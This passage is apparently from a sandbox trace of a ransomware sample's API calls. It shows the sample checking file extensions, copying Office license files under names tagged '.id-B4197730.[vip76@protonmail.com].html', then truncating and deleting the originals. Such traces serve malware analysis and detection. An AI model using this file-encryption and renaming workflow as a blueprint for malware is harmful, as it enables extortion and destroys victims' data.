	[0192.637] lstrlenW (lpString=".7z") returned 3
	[0192.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.637] lstrlenW (lpString=".dbf") returned 4
	[0192.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.637] lstrlenW (lpString=".1cd") returned 4
	[0192.637] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.637] lstrlenW (lpString=".jpg") returned 4
	[0192.637] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.637] lstrlenW (lpString=".doc") returned 4
	[0192.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0192.637] lstrlenW (lpString=".docx") returned 5
	[0192.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0192.637] lstrlenW (lpString=".pdf") returned 4
	[0192.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString=".xls") returned 4
	[0192.638] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString=".xlsx") returned 5
	[0192.638] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0192.638] lstrlenW (lpString=".ppt") returned 4
	[0192.638] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.638] lstrlenW (lpString=".zip") returned 4
	[0192.638] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString=".rar") returned 4
	[0192.638] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString=".bz2") returned 4
	[0192.638] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString=".7z") returned 3
	[0192.638] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0192.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.638] lstrlenW (lpString=".dbf") returned 4
	[0192.638] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.638] lstrlenW (lpString=".1cd") returned 4
	[0192.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0192.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms") returned 73
	[0192.638] lstrlenW (lpString=".jpg") returned 4
	[0192.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0192.639] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0192.639] lstrlenW (lpString="ExcelR_Trial-ul-oob.xrm-ms") returned 26
	[0192.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.640] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11586) returned 1
	[0192.640] CloseHandle (hObject=0x574) returned 1
	[0192.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 0x220
	[0192.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574
	[0192.641] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.641] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0192.642] GetLastError () returned 0x0
	[0192.642] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d42, lpOverlapped=0x0) returned 1
	[0192.644] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0192.646] ReadFile (in: hFile=0x574, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.646] WriteFile (in: hFile=0x5ec, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x108, lpOverlapped=0x0) returned 1
	[0192.646] SetEndOfFile (hFile=0x5ec) returned 1
	[0192.646] CloseHandle (hObject=0x5ec) returned 1
	[0192.646] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.646] SetEndOfFile (hFile=0x574) returned 1
	[0192.868] CloseHandle (hObject=0x574) returned 1
	[0192.868] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ul-oob.xrm-ms")) returned 1
	[0193.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.481] lstrlenW (lpString=".doc") returned 4
	[0193.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.481] lstrlenW (lpString=".docx") returned 5
	[0193.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.481] lstrlenW (lpString=".pdf") returned 4
	[0193.481] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString=".xls") returned 4
	[0193.482] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString=".xlsx") returned 5
	[0193.482] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.482] lstrlenW (lpString=".ppt") returned 4
	[0193.482] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.482] lstrlenW (lpString=".zip") returned 4
	[0193.482] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString=".rar") returned 4
	[0193.482] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString=".bz2") returned 4
	[0193.482] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString=".7z") returned 3
	[0193.482] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.482] lstrlenW (lpString=".dbf") returned 4
	[0193.482] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.482] lstrlenW (lpString=".1cd") returned 4
	[0193.482] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.482] lstrlenW (lpString=".jpg") returned 4
	[0193.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.482] lstrlenW (lpString=".doc") returned 4
	[0193.482] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.482] lstrlenW (lpString=".docx") returned 5
	[0193.483] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.483] lstrlenW (lpString=".pdf") returned 4
	[0193.483] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.483] lstrlenW (lpString=".xls") returned 4
	[0193.483] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.483] lstrlenW (lpString=".xlsx") returned 5
	[0193.483] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.483] lstrlenW (lpString=".ppt") returned 4
	[0193.483] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.483] lstrlenW (lpString=".zip") returned 4
	[0193.483] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.483] lstrlenW (lpString=".rar") returned 4
	[0193.483] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.484] lstrlenW (lpString=".bz2") returned 4
	[0193.484] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.484] lstrlenW (lpString=".7z") returned 3
	[0193.484] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.484] lstrlenW (lpString=".dbf") returned 4
	[0193.484] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.484] lstrlenW (lpString=".1cd") returned 4
	[0193.484] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ul-oob.xrm-ms") returned 76
	[0193.484] lstrlenW (lpString=".jpg") returned 4
	[0193.484] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.484] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.484] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43
	[0193.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.740] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=22224) returned 1
	[0193.740] CloseHandle (hObject=0x5d8) returned 1
	[0193.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220
	[0193.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.741] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.741] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0193.742] GetLastError () returned 0x0
	[0193.742] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x56d0, lpOverlapped=0x0) returned 1
	[0193.745] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x56e0, lpOverlapped=0x0) returned 1
	[0193.747] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.747] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x12a, lpOverlapped=0x0) returned 1
	[0193.747] SetEndOfFile (hFile=0x5dc) returned 1
	[0193.747] CloseHandle (hObject=0x5dc) returned 1
	[0193.747] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.747] SetEndOfFile (hFile=0x5d8) returned 1
	[0193.752] CloseHandle (hObject=0x5d8) returned 1
	[0193.752] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1
	[0193.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.753] lstrlenW (lpString=".doc") returned 4
	[0193.753] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.753] lstrlenW (lpString=".docx") returned 5
	[0193.753] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.753] lstrlenW (lpString=".pdf") returned 4
	[0193.754] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString=".xls") returned 4
	[0193.754] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString=".xlsx") returned 5
	[0193.754] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.754] lstrlenW (lpString=".ppt") returned 4
	[0193.754] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.754] lstrlenW (lpString=".zip") returned 4
	[0193.754] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString=".rar") returned 4
	[0193.754] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString=".bz2") returned 4
	[0193.754] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString=".7z") returned 3
	[0193.754] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.754] lstrlenW (lpString=".dbf") returned 4
	[0193.754] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.754] lstrlenW (lpString=".1cd") returned 4
	[0193.754] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.754] lstrlenW (lpString=".jpg") returned 4
	[0193.754] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.755] lstrlenW (lpString=".doc") returned 4
	[0193.755] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.755] lstrlenW (lpString=".docx") returned 5
	[0193.755] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.755] lstrlenW (lpString=".pdf") returned 4
	[0193.755] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.755] lstrlenW (lpString=".xls") returned 4
	[0193.755] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.755] lstrlenW (lpString=".xlsx") returned 5
	[0193.755] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.755] lstrlenW (lpString=".ppt") returned 4
	[0193.755] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.755] lstrlenW (lpString=".zip") returned 4
	[0193.756] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.756] lstrlenW (lpString=".rar") returned 4
	[0193.756] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.756] lstrlenW (lpString=".bz2") returned 4
	[0193.756] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.756] lstrlenW (lpString=".7z") returned 3
	[0193.756] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.756] lstrlenW (lpString=".dbf") returned 4
	[0193.756] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.756] lstrlenW (lpString=".1cd") returned 4
	[0193.756] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93
	[0193.756] lstrlenW (lpString=".jpg") returned 4
	[0193.756] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.756] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.756] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46
	[0193.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.757] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11674) returned 1
	[0193.757] CloseHandle (hObject=0x5d8) returned 1
	[0193.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0193.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.758] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.758] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0193.759] GetLastError () returned 0x0
	[0193.759] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d9a, lpOverlapped=0x0) returned 1
	[0193.761] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0193.763] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.763] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x130, lpOverlapped=0x0) returned 1
	[0193.763] SetEndOfFile (hFile=0x5dc) returned 1
	[0193.763] CloseHandle (hObject=0x5dc) returned 1
	[0193.763] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.763] SetEndOfFile (hFile=0x5d8) returned 1
	[0193.768] CloseHandle (hObject=0x5d8) returned 1
	[0193.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0193.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
